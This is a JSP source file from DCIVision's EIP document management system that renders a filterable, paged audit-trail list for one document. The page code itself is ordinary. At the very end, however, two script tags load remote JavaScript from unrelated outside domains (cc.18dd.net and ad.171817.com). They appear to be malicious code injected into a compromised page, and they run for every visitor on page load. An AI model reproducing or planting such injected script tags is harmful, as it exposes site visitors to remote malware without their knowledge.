<%
/*
 * @(#)ListDmsAuditTrail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsIndividualAuditTrail.jsp

  This is a ListDmsAuditTrail page.  It shows the System User Defined Index in EIP.

    @author             Rollo Chan
    @company            DCIVision Ltd
    @creation date      05/12/2003
    @version            $Revision: 1.42.2.14 $
*/
/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/08/18
 * BugID      : 6029
 * Description: Show the correct icon in when Audit Trail.
 * *********************************************************************************************
 */
 /* ********************************Modify History***********************************************
 * Modify by  : joan.xiong
 * Modify date: 2006/09/06
 * BugID      : EIP-157
 * Description: When clicked the return button cause the 404 error
 * *********************************************************************************************
 */

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.audit.bean.*" %>
<%@ page import="com.dcivision.audit.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsAuditTrailForm" scope="request" class="com.dcivision.dms.web.ListDmsAuditTrailForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsAuditTrailList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.access_type", "ACCESS_TYPE"},
                            {"common.columnheader.ip_address", "IP_ADDRESS "},
                            {"common.columnheader.accessor_name", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.accessor_date", "ACCESS_DATE"}
                          };

    String[][] ACCESS_SEARCH_MAP = {
                   {"audit.label.access_type_CI", AuditTrailConstant.ACCESS_TYPE_CHECK_IN},
                 {"audit.label.access_type_CO", AuditTrailConstant.ACCESS_TYPE_CHECK_OUT},
                 {"audit.label.access_type_CP", AuditTrailConstant.ACCESS_TYPE_COPY},
                 {"audit.label.access_type_CC", AuditTrailConstant.ACCESS_TYPE_COPY_CREATE},
                 {"audit.label.access_type_PF", AuditTrailConstant.ACCESS_TYPE_COPY_FOLDER},
                 {"audit.label.access_type_C", AuditTrailConstant.ACCESS_TYPE_CREATE},
                 {"audit.label.access_type_CF", AuditTrailConstant.ACCESS_TYPE_CREATE_FOLDER},
                 {"audit.label.access_type_CSC", AuditTrailConstant.ACCESS_TYPE_CREATE_SHORTCUT},
                 {"audit.label.access_type_D", AuditTrailConstant.ACCESS_TYPE_DELETE},
                 {"audit.label.access_type_DF", AuditTrailConstant.ACCESS_TYPE_DELETE_FOLDER},
                 {"audit.label.access_type_MV", AuditTrailConstant.ACCESS_TYPE_MOVE},
                 {"audit.label.access_type_MF", AuditTrailConstant.ACCESS_TYPE_MOVE_FOLDER},
                 {"audit.label.access_type_RN", AuditTrailConstant.ACCESS_TYPE_RENAME},
                 {"audit.label.access_type_U", AuditTrailConstant.ACCESS_TYPE_UPDATE},
                 {"audit.label.access_type_V", AuditTrailConstant.ACCESS_TYPE_VIEW},
                 {"audit.label.access_type_IC", AuditTrailConstant.ACCESS_TYPE_INVITATION_CREATE},
                 {"audit.label.access_type_A", AuditTrailConstant.ACCESS_TYPE_ARCHIVE},
                 {"audit.label.access_type_B", AuditTrailConstant.ACCESS_TYPE_BACKUP}
                };

  String pageFlag = "listDmsIndividualAuditTrail";

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);

   String sCurFunctionCode = listDmsAuditTrailForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsAuditTrailForm.getCurFunctionCode();
   String rootID  = request.getParameter("rootID")==null? "" : request.getParameter("rootID");
   String parentID = request.getParameter("docParentID")==null? "" : request.getParameter("docParentID");

   String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : listDmsAuditTrailForm.getDirectURL();
   String homePageFunctionCode="";
   DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
    homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;    
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
   }

   String returnTop = request.getParameter("returnTop");
   String returnTo = listDmsAuditTrailForm.getReturnTo();
   
   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
     returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
         if (Utility.isEmpty(returnTo)){
             returnTo = returnTo + "&returnTo=" + returnTop;
             listDmsAuditTrailForm.setReturnTo(returnTo);
         }
   }
   String returnURL="";
   if(Utility.isEmpty(listDmsAuditTrailForm.getReturnTo()) || listDmsAuditTrailForm.getReturnTo().equals("null")){
     if(Utility.isEmpty(homePageFunctionCode)){
       if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
         returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
       }else {
           returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
       }
     }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
       returnURL=request.getContextPath()+"/Home.do";
       }
   }else{
     returnURL=listDmsAuditTrailForm.getReturnTo();
   }
%>
<script language="javascript">
<!--
function OpSearchByPeriodType(period){
    document.listDmsAuditTrailForm.periodType.value=period;
    document.listDmsAuditTrailForm.submit();
    return false;
}

function OpCustListReset(frm){
  document.listDmsAuditTrailForm.accessDateFrom.value='';
  document.listDmsAuditTrailForm.accessDateTo.value='';
  document.listDmsAuditTrailForm.accessType.value='';
  document.listDmsAuditTrailForm.userRecordID.value='';
  OpListReset(frm);
}

function OpCustList(frm, sortValue, sortOrder) {
  document.listDmsAuditTrailForm.periodType.value='';
  OpList(frm, sortValue, sortOrder);

}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsIndividualAuditTrail" method="GET">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="periodType"/>
<html:hidden property="basicSearchField"/>
<html:hidden property="basicSearchKeyword"/>
<html:hidden property="curFunctionCode"/>
<html:hidden property="objectID"/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo" value='<%=returnURL%>'/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.view'/>
                </td>
                <td colspan="3" nowrap>
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='today'><a href="javascript://" onClick="return OpSearchByPeriodType('today');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='today'><font class='highlightColor'></logic:equal><bean:message key='common.label.today'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='today'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='today'></a></logic:notEqual>&nbsp;|&nbsp;
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='week'><a href="javascript://" onClick="return OpSearchByPeriodType('week');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='week'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_week'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='week'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='week'></a></logic:notEqual>&nbsp;|&nbsp;
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='month'><a href="javascript://" onClick="return OpSearchByPeriodType('month');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='month'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_month'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='month'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='month'></a></logic:notEqual>&nbsp;|&nbsp;
                    <logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='full'><a href="javascript://" onClick="return OpSearchByPeriodType('full');"></logic:notEqual><logic:equal name='listDmsAuditTrailForm' property='periodType' value='full'><font class='highlightColor'></logic:equal><bean:message key='common.label.full_list'/><logic:equal name='listDmsAuditTrailForm' property='periodType' value='full'></font></logic:equal><logic:notEqual name='listDmsAuditTrailForm' property='periodType' value='full'></a></logic:notEqual>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.access_from'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:datepicker property='accessDateFrom'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.access_to'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:datepicker property='accessDateTo'/>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='audit.label.access_type'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property="accessType">
                        <html:options stringArray='<%=ACCESS_SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.columnheader.accessor_name'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:userpicker style="width:120px" property='userRecordID' pageFlag='<%=pageFlag%>'/>
                </td>
            </tr>
        </table>
        <table>
            <tr>
                <td colspan="4" nowrap>
<%
	DmsDocument dmsDocument = docRetrievalManager.getDocument(new Integer(listDmsAuditTrailForm.getObjectID()));
	if (dmsDocument != null) {
		String postfix = docRetrievalManager.getPostfixByRelationDocumentId(dmsDocument);
		String documentName = dmsDocument.getDocumentName()+ "." + postfix;
    	if(!DmsDocument.DOCUMENT_LINK.equals(dmsDocument.getDocumentType())){
%>
    <dms:extImg fileName='<%=documentName%>' docType='<%=dmsDocument.getDocumentType()%>'/>
<%
		}else{
			DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)dmsDocument).getID(),DmsDocument.DOCUMENT_LINK);
			if (!Utility.isEmpty(newDocument)){
%>
        <dms:extImg fileName='<%=documentName%>' docType='<%=dmsDocument.getDocumentType()%>' tarDocType ='<%=newDocument.getDocumentType()%>'/>
<%
			}
		}
		out.print(dmsDocument.getDocumentName());
	}
%>
                </td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsAuditTrailForm, '${listDmsAuditTrailForm.sortAttribute}', '${listDmsAuditTrailForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsAuditTrailForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsAuditTrailForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsAuditTrailForm.getSortAttribute()%>" sortOrder="<%=listDmsAuditTrailForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="auditTrail" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)auditTrail).getID()%>);">
    <td nowrap>
    <%String accessType = "audit.label.access_type_" + ((AuditTrail)auditTrail).getAccessType().trim();%>
            <nobr><bean:message key='<%=accessType%>'/></nobr>

    </td>
    <td width="300"><bean:write name='auditTrail' property='ipAddress'/></td>
    <td class="bodyVerySmall"><%=UserInfoFactory.getUserFullName(((AuditTrail)auditTrail).getAccessorID())%></td>
    <td class="bodyVerySmall" nowrap><bean:write name='auditTrail' property='accessDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsAuditTrailForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>